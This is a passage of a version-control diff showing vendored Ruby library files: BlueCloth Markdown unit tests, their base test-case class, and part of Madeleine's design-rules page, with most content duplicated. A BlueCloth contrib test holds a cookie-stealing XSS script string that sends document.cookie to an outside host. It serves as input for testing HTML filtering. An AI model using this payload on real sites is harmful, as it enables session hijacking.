timeout( 2 ) do
|
||||
bcobj.to_html
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
### :TODO: Add more documents and test their transforms.
|
||||
|
||||
def test_10_regexp_engine_overflow_bug
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
def test_15_regexp_engine_overflow_bug2
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
__END__
|
||||
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for bugs found in BlueCloth
|
||||
# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
require 'timeout'
|
||||
|
||||
### This test case tests ...
|
||||
class BugsTestCase < BlueCloth::TestCase
|
||||
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
||||
|
||||
### Test to be sure the README file can be transformed.
|
||||
def test_00_slow_block_regex
|
||||
contents = File::read( File::join(BaseDir,"README") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
timeout( 2 ) do
|
||||
bcobj.to_html
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
### :TODO: Add more documents and test their transforms.
|
||||
|
||||
def test_10_regexp_engine_overflow_bug
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
def test_15_regexp_engine_overflow_bug2
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
__END__
|
||||
|
||||
|
|
264
vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb
vendored
264
vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb
vendored
|
@ -1,132 +1,132 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for contributed features
|
||||
# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class ContribTestCase < BlueCloth::TestCase
|
||||
|
||||
DangerousHtml =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
DangerousHtmlOutput =
|
||||
"<p><script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
||||
DangerousStylesOutput =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
NoLessThanHtml = "Foo is definitely > than bar"
|
||||
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
||||
|
||||
|
||||
### HTML filter options contributed by Florian Gross.
|
||||
|
||||
### Test the :filter_html restriction
|
||||
def test_10_filter_html
|
||||
printTestHeader "filter_html Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
|
||||
# Test setting it in a sub-array
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
end
|
||||
|
||||
|
||||
### Test the :filter_styles restriction
|
||||
def test_20_filter_styles
|
||||
printTestHeader "filter_styles Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
# Test setting it in a subarray
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
end
|
||||
|
||||
|
||||
### Test to be sure filtering when there's no opening angle brackets doesn't
|
||||
### die.
|
||||
def test_30_filter_no_less_than
|
||||
printTestHeader "filter without a less-than"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal NoLessThanOutput, rval
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for contributed features
|
||||
# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class ContribTestCase < BlueCloth::TestCase
|
||||
|
||||
DangerousHtml =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
DangerousHtmlOutput =
|
||||
"<p><script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
||||
DangerousStylesOutput =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
NoLessThanHtml = "Foo is definitely > than bar"
|
||||
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
||||
|
||||
|
||||
### HTML filter options contributed by Florian Gross.
|
||||
|
||||
### Test the :filter_html restriction
|
||||
def test_10_filter_html
|
||||
printTestHeader "filter_html Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
|
||||
# Test setting it in a sub-array
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
end
|
||||
|
||||
|
||||
### Test the :filter_styles restriction
|
||||
def test_20_filter_styles
|
||||
printTestHeader "filter_styles Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
# Test setting it in a subarray
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
end
|
||||
|
||||
|
||||
### Test to be sure filtering when there's no opening angle brackets doesn't
|
||||
### die.
|
||||
def test_30_filter_no_less_than
|
||||
printTestHeader "filter without a less-than"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal NoLessThanOutput, rval
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
548
vendor/bluecloth-1.0.0/tests/bctestcase.rb
vendored
548
vendor/bluecloth-1.0.0/tests/bctestcase.rb
vendored
|
@ -1,274 +1,274 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# This is an abstract test case class for building Test::Unit unit tests for the
|
||||
# BlueCloth module. It consolidates most of the maintenance work that must be
|
||||
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
||||
# as adding some other useful methods that make building, maintaining, and using
|
||||
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
||||
# more info on the particulars of unit testing.
|
||||
#
|
||||
# == Synopsis
|
||||
#
|
||||
# # Allow the test to be run from anywhere:
|
||||
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
# basedir = File::dirname( __FILE__ )
|
||||
# require File::join( basedir, 'bctestcase' )
|
||||
# end
|
||||
#
|
||||
# class MySomethingTest < BlueCloth::TestCase
|
||||
# def setup
|
||||
# super()
|
||||
# @foo = 'bar'
|
||||
# end
|
||||
#
|
||||
# def test_00_something
|
||||
# obj = nil
|
||||
# assert_nothing_raised { obj = MySomething::new }
|
||||
# assert_instance_of MySomething, obj
|
||||
# assert_respond_to :myMethod, obj
|
||||
# end
|
||||
#
|
||||
# end
|
||||
#
|
||||
# == Rcsid
|
||||
#
|
||||
# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# == Authors
|
||||
#
|
||||
# * Michael Granger <ged@FaerieMUD.org>
|
||||
#
|
||||
#:include: COPYRIGHT
|
||||
#
|
||||
#---
|
||||
#
|
||||
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
||||
#
|
||||
|
||||
$DebugPattern ||= nil
|
||||
|
||||
begin
|
||||
basedir = File::dirname( File::dirname(__FILE__) )
|
||||
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
||||
$LOAD_PATH.unshift "#{basedir}/lib"
|
||||
end
|
||||
end
|
||||
|
||||
require "test/unit"
|
||||
require "bluecloth"
|
||||
|
||||
|
||||
class BlueCloth
|
||||
|
||||
### The abstract base class for BlueCloth test cases.
|
||||
class TestCase < Test::Unit::TestCase
|
||||
|
||||
@methodCounter = 0
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
class << self
|
||||
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
||||
end
|
||||
|
||||
|
||||
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
||||
### and accessors to the inheriting class.
|
||||
def self::inherited( klass )
|
||||
klass.module_eval {
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
|
||||
class << self
|
||||
attr_accessor :setupBlocks, :teardownBlocks
|
||||
end
|
||||
}
|
||||
klass.methodCounter = 0
|
||||
end
|
||||
|
||||
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
||||
def self::debugMsg( *msgs )
|
||||
return unless $DEBUG
|
||||
self.message "DEBUG>>> %s" % msgs.join('')
|
||||
end
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDOUT</tt>.
|
||||
def self::message( *msgs )
|
||||
$stderr.puts msgs.join('')
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
|
||||
### Add a setup block for the current testcase
|
||||
def self::addSetupBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "setup_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.setupBlocks.push newMethodName
|
||||
end
|
||||
|
||||
### Add a teardown block for the current testcase
|
||||
def self::addTeardownBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "teardown_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.teardownBlocks.unshift newMethodName
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### I N S T A N C E M E T H O D S
|
||||
#############################################################
|
||||
|
||||
### A dummy test method to allow this Test::Unit::TestCase to be
|
||||
### subclassed without complaining about the lack of tests.
|
||||
def test_0_dummy
|
||||
end
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def setup( *args )
|
||||
self.class.setupBlocks.each {|sblock|
|
||||
debugMsg "Calling setup block method #{sblock}"
|
||||
self.send( sblock )
|
||||
}
|
||||
super( *args )
|
||||
end
|
||||
alias_method :set_up, :setup
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def teardown( *args )
|
||||
super( *args )
|
||||
self.class.teardownBlocks.each {|tblock|
|
||||
debugMsg "Calling teardown block method #{tblock}"
|
||||
self.send( tblock )
|
||||
}
|
||||
end
|
||||
alias_method :tear_down, :teardown
|
||||
|
||||
|
||||
### Skip the current step (called from #setup) with the +reason+ given.
|
||||
def skip( reason=nil )
|
||||
if reason
|
||||
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
||||
else
|
||||
msg = "Skipping %s: No reason given." % @method_name
|
||||
end
|
||||
|
||||
$stderr.puts( msg ) if $VERBOSE
|
||||
@method_name = :skipped_test
|
||||
end
|
||||
|
||||
|
||||
def skipped_test # :nodoc:
|
||||
end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #setup.
|
||||
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #teardown.
|
||||
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method.
|
||||
def message( *msgs )
|
||||
self.class.message( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method
|
||||
def debugMsg( *msgs )
|
||||
self.class.debugMsg( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Output a separator line made up of <tt>length</tt> of the specified
|
||||
### <tt>char</tt>.
|
||||
def writeLine( length=75, char="-" )
|
||||
$stderr.puts "\r" + (char * length )
|
||||
end
|
||||
|
||||
|
||||
### Output a header for delimiting tests
|
||||
def printTestHeader( desc )
|
||||
return unless $VERBOSE || $DEBUG
|
||||
message ">>> %s <<<" % desc
|
||||
end
|
||||
|
||||
|
||||
### Try to force garbage collection to start.
|
||||
def collectGarbage
|
||||
a = []
|
||||
1000.times { a << {} }
|
||||
a = nil
|
||||
GC.start
|
||||
end
|
||||
|
||||
|
||||
### Output the name of the test as it's running if in verbose mode.
|
||||
def run( result )
|
||||
$stderr.puts self.name if $VERBOSE || $DEBUG
|
||||
|
||||
# Support debugging for individual tests
|
||||
olddb = nil
|
||||
if $DebugPattern && $DebugPattern =~ @method_name
|
||||
olddb = $DEBUG
|
||||
$DEBUG = true
|
||||
end
|
||||
|
||||
super
|
||||
|
||||
$DEBUG = olddb unless olddb.nil?
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### E X T R A A S S E R T I O N S
|
||||
#############################################################
|
||||
|
||||
### Negative of assert_respond_to
|
||||
def assert_not_respond_to( obj, meth )
|
||||
msg = "%s expected NOT to respond to '%s'" %
|
||||
[ obj.inspect, meth ]
|
||||
assert_block( msg ) {
|
||||
!obj.respond_to?( meth )
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the instance variable specified by +sym+ of an +object+
|
||||
### is equal to the specified +value+. The '@' at the beginning of the
|
||||
### +sym+ will be prepended if not present.
|
||||
def assert_ivar_equal( value, object, sym )
|
||||
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
||||
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
||||
[ sym, object.inspect, value.inspect ]
|
||||
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
||||
assert_block( msg ) {
|
||||
value == object.instance_variable_get(sym)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the specified +object+ has an instance variable which
|
||||
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
||||
### will be prepended if not present.
|
||||
def assert_has_ivar( sym, object )
|
||||
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
||||
msg = "Object <%s> expected to have an instance variable <%s>" %
|
||||
[ object.inspect, sym ]
|
||||
assert_block( msg ) {
|
||||
object.instance_variables.include?( sym.to_s )
|
||||
}
|
||||
end
|
||||
|
||||
end # class TestCase
|
||||
|
||||
end # class BlueCloth
|
||||
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# This is an abstract test case class for building Test::Unit unit tests for the
|
||||
# BlueCloth module. It consolidates most of the maintenance work that must be
|
||||
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
||||
# as adding some other useful methods that make building, maintaining, and using
|
||||
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
||||
# more info on the particulars of unit testing.
|
||||
#
|
||||
# == Synopsis
|
||||
#
|
||||
# # Allow the test to be run from anywhere:
|
||||
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
# basedir = File::dirname( __FILE__ )
|
||||
# require File::join( basedir, 'bctestcase' )
|
||||
# end
|
||||
#
|
||||
# class MySomethingTest < BlueCloth::TestCase
|
||||
# def setup
|
||||
# super()
|
||||
# @foo = 'bar'
|
||||
# end
|
||||
#
|
||||
# def test_00_something
|
||||
# obj = nil
|
||||
# assert_nothing_raised { obj = MySomething::new }
|
||||
# assert_instance_of MySomething, obj
|
||||
# assert_respond_to :myMethod, obj
|
||||
# end
|
||||
#
|
||||
# end
|
||||
#
|
||||
# == Rcsid
|
||||
#
|
||||
# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# == Authors
|
||||
#
|
||||
# * Michael Granger <ged@FaerieMUD.org>
|
||||
#
|
||||
#:include: COPYRIGHT
|
||||
#
|
||||
#---
|
||||
#
|
||||
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
||||
#
|
||||
|
||||
$DebugPattern ||= nil
|
||||
|
||||
begin
|
||||
basedir = File::dirname( File::dirname(__FILE__) )
|
||||
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
||||
$LOAD_PATH.unshift "#{basedir}/lib"
|
||||
end
|
||||
end
|
||||
|
||||
require "test/unit"
|
||||
require "bluecloth"
|
||||
|
||||
|
||||
class BlueCloth
|
||||
|
||||
### The abstract base class for BlueCloth test cases.
|
||||
class TestCase < Test::Unit::TestCase
|
||||
|
||||
@methodCounter = 0
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
class << self
|
||||
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
||||
end
|
||||
|
||||
|
||||
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
||||
### and accessors to the inheriting class.
|
||||
def self::inherited( klass )
|
||||
klass.module_eval {
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
|
||||
class << self
|
||||
attr_accessor :setupBlocks, :teardownBlocks
|
||||
end
|
||||
}
|
||||
klass.methodCounter = 0
|
||||
end
|
||||
|
||||
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
||||
def self::debugMsg( *msgs )
|
||||
return unless $DEBUG
|
||||
self.message "DEBUG>>> %s" % msgs.join('')
|
||||
end
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDOUT</tt>.
|
||||
def self::message( *msgs )
|
||||
$stderr.puts msgs.join('')
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
|
||||
### Add a setup block for the current testcase
|
||||
def self::addSetupBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "setup_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.setupBlocks.push newMethodName
|
||||
end
|
||||
|
||||
### Add a teardown block for the current testcase
|
||||
def self::addTeardownBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "teardown_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.teardownBlocks.unshift newMethodName
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### I N S T A N C E M E T H O D S
|
||||
#############################################################
|
||||
|
||||
### A dummy test method to allow this Test::Unit::TestCase to be
|
||||
### subclassed without complaining about the lack of tests.
|
||||
def test_0_dummy
|
||||
end
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def setup( *args )
|
||||
self.class.setupBlocks.each {|sblock|
|
||||
debugMsg "Calling setup block method #{sblock}"
|
||||
self.send( sblock )
|
||||
}
|
||||
super( *args )
|
||||
end
|
||||
alias_method :set_up, :setup
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def teardown( *args )
|
||||
super( *args )
|
||||
self.class.teardownBlocks.each {|tblock|
|
||||
debugMsg "Calling teardown block method #{tblock}"
|
||||
self.send( tblock )
|
||||
}
|
||||
end
|
||||
alias_method :tear_down, :teardown
|
||||
|
||||
|
||||
### Skip the current step (called from #setup) with the +reason+ given.
|
||||
def skip( reason=nil )
|
||||
if reason
|
||||
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
||||
else
|
||||
msg = "Skipping %s: No reason given." % @method_name
|
||||
end
|
||||
|
||||
$stderr.puts( msg ) if $VERBOSE
|
||||
@method_name = :skipped_test
|
||||
end
|
||||
|
||||
|
||||
def skipped_test # :nodoc:
|
||||
end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #setup.
|
||||
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #teardown.
|
||||
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method.
|
||||
def message( *msgs )
|
||||
self.class.message( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method
|
||||
def debugMsg( *msgs )
|
||||
self.class.debugMsg( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Output a separator line made up of <tt>length</tt> of the specified
|
||||
### <tt>char</tt>.
|
||||
def writeLine( length=75, char="-" )
|
||||
$stderr.puts "\r" + (char * length )
|
||||
end
|
||||
|
||||
|
||||
### Output a header for delimiting tests
|
||||
def printTestHeader( desc )
|
||||
return unless $VERBOSE || $DEBUG
|
||||
message ">>> %s <<<" % desc
|
||||
end
|
||||
|
||||
|
||||
### Try to force garbage collection to start.
|
||||
def collectGarbage
|
||||
a = []
|
||||
1000.times { a << {} }
|
||||
a = nil
|
||||
GC.start
|
||||
end
|
||||
|
||||
|
||||
### Output the name of the test as it's running if in verbose mode.
|
||||
def run( result )
|
||||
$stderr.puts self.name if $VERBOSE || $DEBUG
|
||||
|
||||
# Support debugging for individual tests
|
||||
olddb = nil
|
||||
if $DebugPattern && $DebugPattern =~ @method_name
|
||||
olddb = $DEBUG
|
||||
$DEBUG = true
|
||||
end
|
||||
|
||||
super
|
||||
|
||||
$DEBUG = olddb unless olddb.nil?
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### E X T R A A S S E R T I O N S
|
||||
#############################################################
|
||||
|
||||
### Negative of assert_respond_to
|
||||
def assert_not_respond_to( obj, meth )
|
||||
msg = "%s expected NOT to respond to '%s'" %
|
||||
[ obj.inspect, meth ]
|
||||
assert_block( msg ) {
|
||||
!obj.respond_to?( meth )
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the instance variable specified by +sym+ of an +object+
|
||||
### is equal to the specified +value+. The '@' at the beginning of the
|
||||
### +sym+ will be prepended if not present.
|
||||
def assert_ivar_equal( value, object, sym )
|
||||
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
||||
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
||||
[ sym, object.inspect, value.inspect ]
|
||||
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
||||
assert_block( msg ) {
|
||||
value == object.instance_variable_get(sym)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the specified +object+ has an instance variable which
|
||||
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
||||
### will be prepended if not present.
|
||||
def assert_has_ivar( sym, object )
|
||||
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
||||
msg = "Object <%s> expected to have an instance variable <%s>" %
|
||||
[ object.inspect, sym ]
|
||||
assert_block( msg ) {
|
||||
object.instance_variables.include?( sym.to_s )
|
||||
}
|
||||
end
|
||||
|
||||
end # class TestCase
|
||||
|
||||
end # class BlueCloth
|
||||
|
||||
|
|
1106
vendor/bluecloth-1.0.0/utils.rb
vendored
1106
vendor/bluecloth-1.0.0/utils.rb
vendored
File diff suppressed because it is too large
Load diff
174
vendor/madeleine-0.7.1/docs/designRules.html
vendored
174
vendor/madeleine-0.7.1/docs/designRules.html
vendored
|
@ -1,87 +1,87 @@
|
|||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
|
||||
<html>
|
||||
<head>
|
||||
<title>Design rules - Madeleine</title>
|
||||
<link type="text/css" href="docs.css" rel="stylesheet">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<h1>Design rules</h1>
|
||||
|
||||
<p>This is a summary of the design rules your application has to
|
||||
follow to work with Madeleine.
|
||||
|
||||
|
||||
<h2>The Prevalent System</h2>
|
||||
|
||||
<h3>Your objects have to fit into memory</h3>
|
||||
|
||||
<p>All of them. At the same time.
|
||||
|
||||
<h3>Your objects have to be marshallable</h3>
|
||||
|
||||
<p>Snapshots are taken of the system by marshalling the whole system to a
|
||||
file. If your classes can't be marshalled/unmarshalled then Madeleine
|
||||
won't be able to store/restore the system.
|
||||
|
||||
<h3>Your objects have to be deterministic</h3>
|
||||
|
||||
<p><em>Deterministic</em> means that, given the same commands, they have
|
||||
to always give the same results.
|
||||
|
||||
<p>For the much of your code this won't
|
||||
be a problem, but there are a few common issues:
|
||||
|
||||
<h4>The system clock</h4>
|
||||
<p>You can't use the system clock (see instead ClockedSystem and TimeActor).
|
||||
|
||||
<h4>Random numbers</h4>
|
||||
<p><code>Kernel.rand()</code> uses the system clock internally by
|
||||
default. Use <code>Kernel.srand()</code> to seed the random number
|
||||
generator before using <code>rand()</code>.
|
||||
|
||||
